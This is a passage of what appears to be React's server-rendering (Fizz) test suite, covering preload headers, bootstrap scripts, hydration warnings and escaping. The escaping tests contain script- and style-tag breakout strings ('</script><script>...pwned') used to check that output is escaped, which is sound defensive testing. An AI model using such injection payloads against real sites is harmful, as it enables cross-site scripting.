possibly a bug in the closeing logic for the\n  // Node implementation of Fizz. The close leads to an abort which sets the destination to null before the Float\n  // method has an opportunity to schedule a write. We should fix this probably and once we do this test will start\n  // to fail if the underyling issue of writing after stream completion isn't fixed\n  it('does not try to write to the stream after it has been closed', async () => {\n    async function preloadLate() {\n      await 1;\n      ReactDOM.preconnect('foo');\n    }\n\n    function Preload() {\n      preloadLate();\n      return null;\n    }\n\n    function App() {\n      return (\n        <html>\n          <body>\n            <main>hello</main>\n            <Preload />\n          </body>\n        </html>\n      );\n    }\n    await act(() => {\n      renderToPipeableStream(<App />).pipe(writable);\n    });\n\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>\n          <main>hello</main>\n        </body>\n      </html>,\n    );\n  });\n\n  it('provides headers after initial work if onHeaders option used', async () => {\n    let headers = null;\n    function onHeaders(x) {\n      headers = x;\n    }\n\n    function Preloads() {\n      ReactDOM.preload('font2', {as: 'font'});\n      ReactDOM.preload('imagepre2', {as: 'image', fetchPriority: 'high'});\n      ReactDOM.preconnect('pre2', {crossOrigin: 'use-credentials'});\n      ReactDOM.prefetchDNS('dns2');\n    }\n\n    function Blocked() {\n      readText('blocked');\n      return (\n        <>\n          <Preloads />\n          <img src=\"image2\" />\n        </>\n      );\n    }\n\n    function App() {\n      ReactDOM.preload('font', {as: 'font'});\n      ReactDOM.preload('imagepre', {as: 'image', fetchPriority: 'high'});\n      ReactDOM.preconnect('pre', {crossOrigin: 'use-credentials'});\n      ReactDOM.prefetchDNS('dns');\n      return (\n        <html>\n          <body>\n            <img src=\"image\" />\n            <Blocked />\n          </body>\n        </html>\n      );\n    }\n\n    await act(() => {\n      renderToPipeableStream(<App />, {onHeaders});\n    });\n\n    expect(headers).toEqual({\n      Link: `\n<pre>; rel=preconnect; crossorigin=\"use-credentials\",\n <dns>; rel=dns-prefetch,\n <font>; rel=preload; as=\"font\"; crossorigin=\"\",\n <imagepre>; rel=preload; as=\"image\"; fetchpriority=\"high\",\n <image>; rel=preload; as=\"image\"\n`\n        .replaceAll('\\n', '')\n        .trim(),\n    });\n  });\n\n  it('omits images from preload headers if they contain srcset and sizes', async () => {\n    let headers = null;\n    function onHeaders(x) {\n      headers = x;\n    }\n\n    function App() {\n      ReactDOM.preload('responsive-preload-set-only', {\n        as: 'image',\n        fetchPriority: 'high',\n        imageSrcSet: 'srcset',\n      });\n      ReactDOM.preload('responsive-preload', {\n        as: 'image',\n        fetchPriority: 'high',\n        imageSrcSet: 'srcset',\n        imageSizes: 'sizes',\n      });\n      ReactDOM.preload('non-responsive-preload', {\n        as: 'image',\n        fetchPriority: 'high',\n      });\n      return (\n        <html>\n          <body>\n            <img\n              src=\"responsive-img-set-only\"\n              fetchPriority=\"high\"\n              srcSet=\"srcset\"\n            />\n            <img\n              src=\"responsive-img\"\n              fetchPriority=\"high\"\n              srcSet=\"srcset\"\n              sizes=\"sizes\"\n            />\n            <img src=\"non-responsive-img\" fetchPriority=\"high\" />\n          </body>\n        </html>\n      );\n    }\n\n    await act(() => {\n      renderToPipeableStream(<App />, {onHeaders});\n    });\n\n    expect(headers).toEqual({\n      Link: `\n<non-responsive-preload>; rel=preload; as=\"image\"; fetchpriority=\"high\", \n<non-responsive-img>; rel=preload; as=\"image\"; fetchpriority=\"high\"\n`\n        .replaceAll('\\n', '')\n        .trim(),\n    });\n  });\n\n  it('emits nothing for headers if you pipe before work begins', async () => {\n    let headers = null;\n    function onHeaders(x) {\n      headers = x;\n    }\n\n    function App() {\n      ReactDOM.preload('presrc', {\n        as: 'image',\n        fetchPriority: 'high',\n        imageSrcSet: 'presrcset',\n        imageSizes: 'presizes',\n      });\n      return (\n        <html>\n          <body>\n            <img src=\"src\" srcSet=\"srcset\" sizes=\"sizes\" />\n          </body>\n        </html>\n      );\n    }\n\n    await act(() => {\n      renderToPipeableStream(<App />, {onHeaders}).pipe(writable);\n    });\n\n    expect(headers).toEqual({});\n  });\n\n  it('stops accumulating new headers once the maxHeadersLength limit is satisifed', async () => {\n    let headers = null;\n    function onHeaders(x) {\n      headers = x;\n    }\n\n    function App() {\n      ReactDOM.preconnect('foo');\n      ReactDOM.preconnect('bar');\n      ReactDOM.preconnect('baz');\n      return (\n        <html>\n          <body>hello</body>\n        </html>\n      );\n    }\n\n    await act(() => {\n      renderToPipeableStream(<App />, {onHeaders, maxHeadersLength: 44});\n    });\n\n    expect(headers).toEqual({\n      Link: `\n<foo>; rel=preconnect,\n <bar>; rel=preconnect\n`\n        .replaceAll('\\n', '')\n        .trim(),\n    });\n  });\n\n  it('logs an error if onHeaders throws but continues the render', async () => {\n    const errors = [];\n    function onError(error) {\n      errors.push(error.message);\n    }\n\n    function onHeaders(x) {\n      throw new Error('bad onHeaders');\n    }\n\n    let pipe;\n    await act(() => {\n      ({pipe} = renderToPipeableStream(<div>hello</div>, {onHeaders, onError}));\n    });\n\n    expect(errors).toEqual(['bad onHeaders']);\n\n    await act(() => {\n      pipe(writable);\n    });\n\n    expect(getVisibleChildren(container)).toEqual(<div>hello</div>);\n  });\n\n  it('accounts for the length of the interstitial between links when computing the headers length', async () => {\n    let headers = null;\n    function onHeaders(x) {\n      headers = x;\n    }\n\n    function App() {\n      // 20 bytes\n      ReactDOM.preconnect('01');\n      // 42 bytes\n      ReactDOM.preconnect('02');\n      // 64 bytes\n      ReactDOM.preconnect('03');\n      // 86 bytes\n      ReactDOM.preconnect('04');\n      // 108 bytes\n      ReactDOM.preconnect('05');\n      // 130 bytes\n      ReactDOM.preconnect('06');\n      // 152 bytes\n      ReactDOM.preconnect('07');\n      // 174 bytes\n      ReactDOM.preconnect('08');\n      // 196 bytes\n      ReactDOM.preconnect('09');\n      // 218 bytes\n      ReactDOM.preconnect('10');\n      // 240 bytes\n      ReactDOM.preconnect('11');\n      // 262 bytes\n      ReactDOM.preconnect('12');\n      // 284 bytes\n      ReactDOM.preconnect('13');\n      // 306 bytes\n      ReactDOM.preconnect('14');\n      return (\n        <html>\n          <body>hello</body>\n        </html>\n      );\n    }\n\n    await act(() => {\n      renderToPipeableStream(<App />, {onHeaders, maxHeadersLength: 305});\n    });\n    expect(headers.Link.length).toBe(284);\n\n    await act(() => {\n      renderToPipeableStream(<App />, {onHeaders, maxHeadersLength: 306});\n    });\n    expect(headers.Link.length).toBe(306);\n  });\n\n  it('does not perform any additional work after fatally erroring', async () => {\n    let resolve: () => void;\n    const promise = new Promise(r => {\n      resolve = r;\n    });\n    function AsyncComp() {\n      React.use(promise);\n      return <DidRender>Async</DidRender>;\n    }\n\n    let didRender = false;\n    function DidRender({children}) {\n      didRender = true;\n      return children;\n    }\n\n    function ErrorComp() {\n      throw new Error('boom');\n    }\n\n    function App() {\n      return (\n        <div>\n          <Suspense fallback=\"loading...\">\n            <AsyncComp />\n          </Suspense>\n          <ErrorComp />\n        </div>\n      );\n    }\n\n    let pipe;\n    const errors = [];\n    let didFatal = true;\n    await act(() => {\n      pipe = renderToPipeableStream(<App />, {\n        onError(error) {\n          errors.push(error.message);\n        },\n        onShellError(error) {\n          didFatal = true;\n        },\n      }).pipe;\n    });\n\n    expect(didRender).toBe(false);\n    await act(() => {\n      resolve();\n    });\n    expect(didRender).toBe(false);\n\n    const testWritable = new Stream.Writable();\n    await act(() => pipe(testWritable));\n    expect(didRender).toBe(false);\n    expect(didFatal).toBe(didFatal);\n    expect(errors).toEqual([\n      'boom',\n      'The destination stream errored while writing data.',\n    ]);\n  });\n\n  describe('error escaping', () => {\n    it('escapes error hash, message, and component stack values in directly flushed errors (html escaping)', async () => {\n      window.__outlet = {};\n\n      const dangerousErrorString =\n        '\"></template></div><script>window.__outlet.message=\"from error\"</script><div><template data-foo=\"';\n\n      function Erroring() {\n        throw new Error(dangerousErrorString);\n      }\n\n      // We can't test newline in component stacks because the stack always takes just one line and we end up\n      // dropping the first part including the \\n character\n      Erroring.displayName =\n        'DangerousName' +\n        dangerousErrorString.replace(\n          'message=\"from error\"',\n          'stack=\"from_stack\"',\n        );\n\n      function App() {\n        return (\n          <div>\n            <Suspense fallback={<div>Loading...</div>}>\n              <Erroring />\n            </Suspense>\n          </div>\n        );\n      }\n\n      function onError(x) {\n        return `dangerous hash ${x.message.replace(\n          'message=\"from error\"',\n          'hash=\"from hash\"',\n        )}`;\n      }\n\n      await act(() => {\n        const {pipe} = renderToPipeableStream(<App />, {\n          onError,\n        });\n        pipe(writable);\n      });\n      expect(window.__outlet).toEqual({});\n    });\n\n    it('escapes error hash, message, and component stack values in clientRenderInstruction (javascript escaping)', async () => {\n      window.__outlet = {};\n\n      const dangerousErrorString =\n        '\");window.__outlet.message=\"from error\";</script><script>(() => {})(\"';\n\n      let rejectComponent;\n      const SuspensyErroring = React.lazy(() => {\n        return new Promise((resolve, reject) => {\n          rejectComponent = reject;\n        });\n      });\n\n      // We can't test newline in component stacks because the stack always takes just one line and we end up\n      // dropping the first part including the \\n character\n      SuspensyErroring.displayName =\n        'DangerousName' +\n        dangerousErrorString.replace(\n          'message=\"from error\"',\n          'stack=\"from_stack\"',\n        );\n\n      function App() {\n        return (\n          <div>\n            <Suspense fallback={<div>Loading...</div>}>\n              <SuspensyErroring />\n            </Suspense>\n          </div>\n        );\n      }\n\n      function onError(x) {\n        return `dangerous hash ${x.message.replace(\n          'message=\"from error\"',\n          'hash=\"from hash\"',\n        )}`;\n      }\n\n      await act(() => {\n        const {pipe} = renderToPipeableStream(<App />, {\n          onError,\n        });\n        pipe(writable);\n      });\n\n      await act(() => {\n        rejectComponent(new Error(dangerousErrorString));\n      });\n      expect(window.__outlet).toEqual({});\n    });\n\n    it('escapes such that attributes cannot be masked', async () => {\n      const dangerousErrorString = '\" data-msg=\"bad message\" data-foo=\"';\n      const theError = new Error(dangerousErrorString);\n\n      function Erroring({isClient}) {\n        if (isClient) return 'Hello';\n        throw theError;\n      }\n\n      function App({isClient}) {\n        return (\n          <div>\n            <Suspense fallback={<div>Loading...</div>}>\n              <Erroring isClient={isClient} />\n            </Suspense>\n          </div>\n        );\n      }\n\n      const loggedErrors = [];\n      function onError(x) {\n        loggedErrors.push(x);\n        return x.message.replace('bad message', 'bad hash');\n      }\n      const expectedDigest = onError(theError);\n      loggedErrors.length = 0;\n\n      await act(() => {\n        const {pipe} = renderToPipeableStream(<App />, {\n          onError,\n        });\n        pipe(writable);\n      });\n\n      expect(loggedErrors).toEqual([theError]);\n\n      const errors = [];\n      ReactDOMClient.hydrateRoot(container, <App isClient={true} />, {\n        onRecoverableError(error, errorInfo) {\n          errors.push({error, errorInfo});\n        },\n      });\n      await waitForAll([]);\n\n      // If escaping were not done we would get a message that says \"bad hash\"\n      expectErrors(\n        errors,\n        [\n          [\n            'Switched to client rendering because the server rendering errored:\\n\\n' +\n              theError.message,\n            expectedDigest,\n            componentStack(['Erroring', 'Suspense', 'div', 'App']),\n          ],\n        ],\n        [\n          [\n            'The server could not finish this Suspense boundary, likely due to an error during server rendering. Switched to client rendering.',\n            expectedDigest,\n          ],\n        ],\n      );\n    });\n  });\n\n  it('accepts an integrity property for bootstrapScripts and bootstrapModules', async () => {\n    await act(() => {\n      const {pipe} = renderToPipeableStream(\n        <html>\n          <head />\n          <body>\n            <div>hello world</div>\n          </body>\n        </html>,\n        {\n          bootstrapScripts: [\n            'foo',\n            {\n              src: 'bar',\n            },\n            {\n              src: 'baz',\n              integrity: 'qux',\n            },\n          ],\n          bootstrapModules: [\n            'quux',\n            {\n              src: 'corge',\n            },\n            {\n              src: 'grault',\n              integrity: 'garply',\n            },\n          ],\n        },\n      );\n      pipe(writable);\n    });\n\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"preload\" fetchpriority=\"low\" href=\"foo\" as=\"script\" />\n          <link rel=\"preload\" fetchpriority=\"low\" href=\"bar\" as=\"script\" />\n          <link\n            rel=\"preload\"\n            fetchpriority=\"low\"\n            href=\"baz\"\n            as=\"script\"\n            integrity=\"qux\"\n          />\n          <link rel=\"modulepreload\" fetchpriority=\"low\" href=\"quux\" />\n          <link rel=\"modulepreload\" fetchpriority=\"low\" href=\"corge\" />\n          <link\n            rel=\"modulepreload\"\n            fetchpriority=\"low\"\n            href=\"grault\"\n            integrity=\"garply\"\n          />\n        </head>\n        <body>\n          <div>hello world</div>\n        </body>\n      </html>,\n    );\n    expect(\n      stripExternalRuntimeInNodes(\n        document.getElementsByTagName('script'),\n        renderOptions.unstable_externalRuntimeSrc,\n      ).map(n => n.outerHTML),\n    ).toEqual([\n      '<script src=\"foo\" id=\"_R_\" async=\"\"></script>',\n      '<script src=\"bar\" async=\"\"></script>',\n      '<script src=\"baz\" integrity=\"qux\" async=\"\"></script>',\n      '<script type=\"module\" src=\"quux\" async=\"\"></script>',\n      '<script type=\"module\" src=\"corge\" async=\"\"></script>',\n      '<script type=\"module\" src=\"grault\" integrity=\"garply\" async=\"\"></script>',\n    ]);\n  });\n\n  it('accepts a crossOrigin property for bootstrapScripts and bootstrapModules', async () => {\n    await act(() => {\n      const {pipe} = renderToPipeableStream(\n        <html>\n          <head />\n          <body>\n            <div>hello world</div>\n          </body>\n        </html>,\n        {\n          bootstrapScripts: [\n            'foo',\n            {\n              src: 'bar',\n            },\n            {\n              src: 'baz',\n              crossOrigin: '',\n            },\n            {\n              src: 'qux',\n              crossOrigin: 'defaults-to-empty',\n            },\n          ],\n          bootstrapModules: [\n            'quux',\n            {\n              src: 'corge',\n            },\n            {\n              src: 'grault',\n              crossOrigin: 'use-credentials',\n            },\n          ],\n        },\n      );\n      pipe(writable);\n    });\n\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"preload\" fetchpriority=\"low\" href=\"foo\" as=\"script\" />\n          <link rel=\"preload\" fetchpriority=\"low\" href=\"bar\" as=\"script\" />\n          <link\n            rel=\"preload\"\n            fetchpriority=\"low\"\n            href=\"baz\"\n            as=\"script\"\n            crossorigin=\"\"\n          />\n          <link\n            rel=\"preload\"\n            fetchpriority=\"low\"\n            href=\"qux\"\n            as=\"script\"\n            crossorigin=\"\"\n          />\n          <link rel=\"modulepreload\" fetchpriority=\"low\" href=\"quux\" />\n          <link rel=\"modulepreload\" fetchpriority=\"low\" href=\"corge\" />\n          <link\n            rel=\"modulepreload\"\n            fetchpriority=\"low\"\n            href=\"grault\"\n            crossorigin=\"use-credentials\"\n          />\n        </head>\n        <body>\n          <div>hello world</div>\n        </body>\n      </html>,\n    );\n    expect(\n      stripExternalRuntimeInNodes(\n        document.getElementsByTagName('script'),\n        renderOptions.unstable_externalRuntimeSrc,\n      ).map(n => n.outerHTML),\n    ).toEqual([\n      '<script src=\"foo\" id=\"_R_\" async=\"\"></script>',\n      '<script src=\"bar\" async=\"\"></script>',\n      '<script src=\"baz\" crossorigin=\"\" async=\"\"></script>',\n      '<script src=\"qux\" crossorigin=\"\" async=\"\"></script>',\n      '<script type=\"module\" src=\"quux\" async=\"\"></script>',\n      '<script type=\"module\" src=\"corge\" async=\"\"></script>',\n      '<script type=\"module\" src=\"grault\" crossorigin=\"use-credentials\" async=\"\"></script>',\n    ]);\n  });\n\n  describe('inline script escaping', () => {\n    describe('bootstrapScriptContent', () => {\n      it('the \"S\" in \"</?[Ss]cript\" strings are replaced with unicode escaped lowercase s or S depending on case, preserving case sensitivity of nearby characters', async () => {\n        window.__test_outlet = '';\n        const stringWithScriptsInIt =\n          'prescription pre<scription pre<Scription pre</scRipTion pre</ScripTion </script><script><!-- <script> -->';\n        await act(() => {\n          const {pipe} = renderToPipeableStream(<div />, {\n            bootstrapScriptContent:\n              'window.__test_outlet = \"This should have been replaced\";var x = \"' +\n              stringWithScriptsInIt +\n              '\";\\nwindow.__test_outlet = x;',\n          });\n          pipe(writable);\n        });\n        expect(window.__test_outlet).toMatch(stringWithScriptsInIt);\n      });\n\n      it('does not escape \\\\u2028, or \\\\u2029 characters', async () => {\n        // these characters are ignored in engines support https://github.com/tc39/proposal-json-superset\n        // in this test with JSDOM the characters are silently dropped and thus don't need to be encoded.\n        // if you send these characters to an older browser they could fail so it is a good idea to\n        // sanitize JSON input of these characters\n        window.__test_outlet = '';\n        const el = document.createElement('p');\n        el.textContent = '{\"one\":1,\\u2028\\u2029\"two\":2}';\n        const stringWithLSAndPSCharacters = el.textContent;\n        await act(() => {\n          const {pipe} = renderToPipeableStream(<div />, {\n            bootstrapScriptContent:\n              'let x = ' +\n              stringWithLSAndPSCharacters +\n              '; window.__test_outlet = x;',\n          });\n          pipe(writable);\n        });\n        const outletString = JSON.stringify(window.__test_outlet);\n        expect(outletString).toBe(\n          stringWithLSAndPSCharacters.replace(/[\\u2028\\u2029]/g, ''),\n        );\n      });\n\n      it('does not escape <, >, or & characters', async () => {\n        // these characters valid javascript and may be necessary in scripts and won't be interpretted properly\n        // escaped outside of a string context within javascript\n        window.__test_outlet = null;\n        // this boolean expression will be cast to a number due to the bitwise &. we will look for a truthy value (1) below\n        const booleanLogicString = '1 < 2 & 3 > 1';\n        await act(() => {\n          const {pipe} = renderToPipeableStream(<div />, {\n            bootstrapScriptContent:\n              'let x = ' + booleanLogicString + '; window.__test_outlet = x;',\n          });\n          pipe(writable);\n        });\n        expect(window.__test_outlet).toBe(1);\n      });\n    });\n\n    describe('importMaps', () => {\n      it('escapes </[sS]cirpt> in importMaps', async () => {\n        window.__test_outlet_key = '';\n        window.__test_outlet_value = '';\n        const jsonWithScriptsInIt = {\n          \"keypos</script><script>window.__test_outlet_key = 'pwned'</script><script>\":\n            'value',\n          key: \"valuepos</script><script>window.__test_outlet_value = 'pwned'</script><script>\",\n        };\n        await act(() => {\n          const {pipe} = renderToPipeableStream(<div />, {\n            importMap: jsonWithScriptsInIt,\n          });\n          pipe(writable);\n        });\n        expect(window.__test_outlet_key).toBe('');\n        expect(window.__test_outlet_value).toBe('');\n      });\n    });\n\n    describe('inline script', () => {\n      it('escapes </[sS]cirpt> in inline scripts', async () => {\n        window.__test_outlet = '';\n        await act(() => {\n          const {pipe} = renderToPipeableStream(\n            <script>{`\n              <!-- some html comment </script><script>window.__test_outlet = 'pwned'</script>\n              window.__test_outlet = 'safe';\n              --> </script><script>window.__test_outlet = 'pwned after'</script>\n            `}</script>,\n          );\n          pipe(writable);\n        });\n        expect(window.__test_outlet).toBe('safe');\n      });\n    });\n  });\n\n  describe('<style> textContent escaping', () => {\n    it('the \"S\" in \"</?[Ss]style\" strings are replaced with unicode escaped lowercase s or S depending on case, preserving case sensitivity of nearby characters', async () => {\n      await act(() => {\n        const {pipe} = renderToPipeableStream(\n          <style>{`\n            .foo::after {\n              content: 'sSsS</style></Style></StYlE><style><Style>sSsS'\n            }\n            body {\n              background-color: blue;\n            }\n          `}</style>,\n        );\n        pipe(writable);\n      });\n      expect(window.getComputedStyle(document.body).backgroundColor).toMatch(\n        'rgb(0, 0, 255)',\n      );\n    });\n\n    it('the \"S\" in \"</?[Ss]style\" strings are replaced with unicode escaped lowercase s or S depending on case, preserving case sensitivity of nearby characters inside hoistable style tags', async () => {\n      await act(() => {\n        const {pipe} = renderToPipeableStream(\n          <>\n            <style href=\"foo\" precedence=\"default\">{`\n            .foo::after {\n              content: 'sSsS</style></Style></StYlE><style><Style>sSsS'\n            }\n            body {\n              background-color: blue;\n            }\n          `}</style>\n            <style href=\"bar\" precedence=\"default\">{`\n          .foo::after {\n            content: 'sSsS</style></Style></StYlE><style><Style>sSsS'\n          }\n          body {\n            background-color: red;\n          }\n        `}</style>\n          </>,\n        );\n        pipe(writable);\n      });\n      expect(window.getComputedStyle(document.body).backgroundColor).toMatch(\n        'rgb(255, 0, 0)',\n      );\n    });\n  });\n\n  // @gate enableFizzExternalRuntime\n  it('supports option to load runtime as an external script', async () => {\n    await act(() => {\n      const {pipe} = renderToPipeableStream(\n        <html>\n          <head />\n          <body>\n            <Suspense fallback={'loading...'}>\n              <AsyncText text=\"Hello\" />\n            </Suspense>\n          </body>\n        </html>,\n        {\n          unstable_externalRuntimeSrc: 'src-of-external-runtime',\n        },\n      );\n      pipe(writable);\n    });\n\n    // We want the external runtime to be sent in <head> so the script can be\n    // fetched and executed as early as possible. For SSR pages using Suspense,\n    // this script execution would be render blocking.\n    expect(\n      Array.from(document.head.getElementsByTagName('script')).map(\n        n => n.outerHTML,\n      ),\n    ).toEqual(['<script src=\"src-of-external-runtime\" async=\"\"></script>']);\n\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>loading...</body>\n      </html>,\n    );\n  });\n\n  // @gate shouldUseFizzExternalRuntime\n  it('does not send script tags for SSR instructions when using the external runtime', async () => {\n    function App() {\n      return (\n        <div>\n          <Suspense fallback=\"Loading...\">\n            <div>\n              <AsyncText text=\"Hello\" />\n            </div>\n          </Suspense>\n        </div>\n      );\n    }\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<App />);\n      pipe(writable);\n    });\n    await act(() => {\n      resolveText('Hello');\n    });\n\n    // The only script elements sent should be from unstable_externalRuntimeSrc\n    expect(document.getElementsByTagName('script').length).toEqual(1);\n  });\n\n  // @gate shouldUseFizzExternalRuntime\n  it('does (unfortunately) send the external runtime for static pages', async () => {\n    await act(() => {\n      const {pipe} = renderToPipeableStream(\n        <html>\n          <head />\n          <body>\n            <p>hello world!</p>\n          </body>\n        </html>,\n      );\n      pipe(writable);\n    });\n\n    // no scripts should be sent\n    expect(document.getElementsByTagName('script').length).toEqual(1);\n\n    // the html should be as-is\n    expect(document.documentElement.innerHTML).toEqual(\n      '<head><script src=\"react-dom-bindings/src/server/ReactDOMServerExternalRuntime.js\" async=\"\"></script>' +\n        (gate(flags => flags.enableFizzBlockingRender)\n          ? '<link rel=\"expect\" href=\"#_R_\" blocking=\"render\">'\n          : '') +\n        '</head><body><p>hello world!</p>' +\n        (gate(flags => flags.enableFizzBlockingRender)\n          ? '<template id=\"_R_\"></template>'\n          : '') +\n        '</body>',\n    );\n  });\n\n  it('#24384: Suspending should halt hydration warnings and not emit any if hydration completes successfully after unsuspending', async () => {\n    const makeApp = () => {\n      let resolve, resolved;\n      const promise = new Promise(r => {\n        resolve = () => {\n          resolved = true;\n          return r();\n        };\n      });\n      function ComponentThatSuspends() {\n        if (!resolved) {\n          throw promise;\n        }\n        return <p>A</p>;\n      }\n\n      const App = () => {\n        return (\n          <div>\n            <Suspense fallback={<h1>Loading...</h1>}>\n              <ComponentThatSuspends />\n              <h2 name=\"hello\">world</h2>\n            </Suspense>\n          </div>\n        );\n      };\n\n      return [App, resolve];\n    };\n\n    const [ServerApp, serverResolve] = makeApp();\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<ServerApp />);\n      pipe(writable);\n    });\n    await act(() => {\n      serverResolve();\n    });\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <p>A</p>\n        <h2 name=\"hello\">world</h2>\n      </div>,\n    );\n\n    const [ClientApp, clientResolve] = makeApp();\n    ReactDOMClient.hydrateRoot(container, <ClientApp />, {\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        }\n      },\n    });\n    await waitForAll([]);\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <p>A</p>\n        <h2 name=\"hello\">world</h2>\n      </div>,\n    );\n\n    // Now that the boundary resolves to it's children the hydration completes and discovers that there is a mismatch requiring\n    // client-side rendering.\n    await clientResolve();\n    await waitForAll([]);\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <p>A</p>\n        <h2 name=\"hello\">world</h2>\n      </div>,\n    );\n  });\n\n  it('#24384: Suspending should halt hydration warnings but still emit hydration warnings after unsuspending if mismatches are genuine', async () => {\n    const makeApp = () => {\n      let resolve, resolved;\n      const promise = new Promise(r => {\n        resolve = () => {\n          resolved = true;\n          return r();\n        };\n      });\n      function ComponentThatSuspends() {\n        if (!resolved) {\n          throw promise;\n        }\n        return <p>A</p>;\n      }\n\n      const App = ({text}) => {\n        return (\n          <div>\n            <Suspense fallback={<h1>Loading...</h1>}>\n              <ComponentThatSuspends />\n              <h2 name={text}>{text}</h2>\n            </Suspense>\n          </div>\n        );\n      };\n\n      return [App, resolve];\n    };\n\n    const [ServerApp, serverResolve] = makeApp();\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<ServerApp text=\"initial\" />);\n      pipe(writable);\n    });\n    await act(() => {\n      serverResolve();\n    });\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <p>A</p>\n        <h2 name=\"initial\">initial</h2>\n      </div>,\n    );\n\n    // The client app is rendered with an intentionally incorrect text. The still Suspended component causes\n    // hydration to fail silently (allowing for cache warming but otherwise skipping this boundary) until it\n    // resolves.\n    const [ClientApp, clientResolve] = makeApp();\n    ReactDOMClient.hydrateRoot(container, <ClientApp text=\"replaced\" />, {\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        }\n      },\n    });\n    await waitForAll([]);\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <p>A</p>\n        <h2 name=\"initial\">initial</h2>\n      </div>,\n    );\n\n    // Now that the boundary resolves to it's children the hydration completes and discovers that there is a mismatch requiring\n    // client-side rendering.\n    await clientResolve();\n    await waitForAll([\n      \"onRecoverableError: Hydration failed because the server rendered text didn't match the client.\",\n    ]);\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <p>A</p>\n        <h2 name=\"replaced\">replaced</h2>\n      </div>,\n    );\n\n    await waitForAll([]);\n  });\n\n  it('only warns once on hydration mismatch while within a suspense boundary', async () => {\n    const App = ({text}) => {\n      return (\n        <div>\n          <Suspense fallback={<h1>Loading...</h1>}>\n            <h2>{text}</h2>\n            <h2>{text}</h2>\n            <h2>{text}</h2>\n          </Suspense>\n        </div>\n      );\n    };\n\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<App text=\"initial\" />);\n      pipe(writable);\n    });\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <h2>initial</h2>\n        <h2>initial</h2>\n        <h2>initial</h2>\n      </div>,\n    );\n\n    ReactDOMClient.hydrateRoot(container, <App text=\"replaced\" />, {\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        }\n      },\n    });\n    await waitForAll([\n      \"onRecoverableError: Hydration failed because the server rendered text didn't match the client.\",\n    ]);\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <h2>replaced</h2>\n        <h2>replaced</h2>\n        <h2>replaced</h2>\n      </div>,\n    );\n\n    await waitForAll([]);\n  });\n\n  it('supresses hydration warnings when an error occurs within a Suspense boundary', async () => {\n    let isClient = false;\n\n    function ThrowWhenHydrating({children}) {\n      // This is a trick to only throw if we're hydrating, because\n      // useSyncExternalStore calls getServerSnapshot instead of the regular\n      // getSnapshot in that case.\n      useSyncExternalStore(\n        () => {},\n        t => t,\n        () => {\n          if (isClient) {\n            throw new Error('uh oh');\n          }\n        },\n      );\n      return children;\n    }\n\n    const App = () => {\n      return (\n        <div>\n          <Suspense fallback={<h1>Loading...</h1>}>\n            <ThrowWhenHydrating>\n              <h1>one</h1>\n            </ThrowWhenHydrating>\n            <h2>two</h2>\n            <h3>{isClient ? 'five' : 'three'}</h3>\n          </Suspense>\n        </div>\n      );\n    };\n\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<App />);\n      pipe(writable);\n    });\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <h1>one</h1>\n        <h2>two</h2>\n        <h3>three</h3>\n      </div>,\n    );\n\n    isClient = true;\n\n    ReactDOMClient.hydrateRoot(container, <App />, {\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        }\n      },\n    });\n    await waitForAll([\n      'onRecoverableError: There was an error while hydrating but React was able to recover by instead client rendering from the nearest Suspense boundary.',\n      'Cause: uh oh',\n    ]);\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <h1>one</h1>\n        <h2>two</h2>\n        <h3>five</h3>\n      </div>,\n    );\n\n    await waitForAll([]);\n  });\n\n  it('does not log for errors after the first hydration error', async () => {\n    let isClient = false;\n\n    function ThrowWhenHydrating({children, message}) {\n      // This is a trick to only throw if we're hydrating, because\n      // useSyncExternalStore calls getServerSnapshot instead of the regular\n      // getSnapshot in that case.\n      useSyncExternalStore(\n        () => {},\n        t => t,\n        () => {\n          if (isClient) {\n            Scheduler.log('throwing: ' + message);\n            throw new Error(message);\n          }\n        },\n      );\n      return children;\n    }\n\n    const App = () => {\n      return (\n        <div>\n          <Suspense fallback={<h1>Loading...</h1>}>\n            <ThrowWhenHydrating message=\"first error\">\n              <h1>one</h1>\n            </ThrowWhenHydrating>\n            <ThrowWhenHydrating message=\"second error\">\n              <h2>two</h2>\n            </ThrowWhenHydrating>\n            <ThrowWhenHydrating message=\"third error\">\n              <h3>three</h3>\n            </ThrowWhenHydrating>\n          </Suspense>\n        </div>\n      );\n    };\n\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<App />);\n      pipe(writable);\n    });\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <h1>one</h1>\n        <h2>two</h2>\n        <h3>three</h3>\n      </div>,\n    );\n\n    isClient = true;\n\n    ReactDOMClient.hydrateRoot(container, <App />, {\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        }\n      },\n    });\n    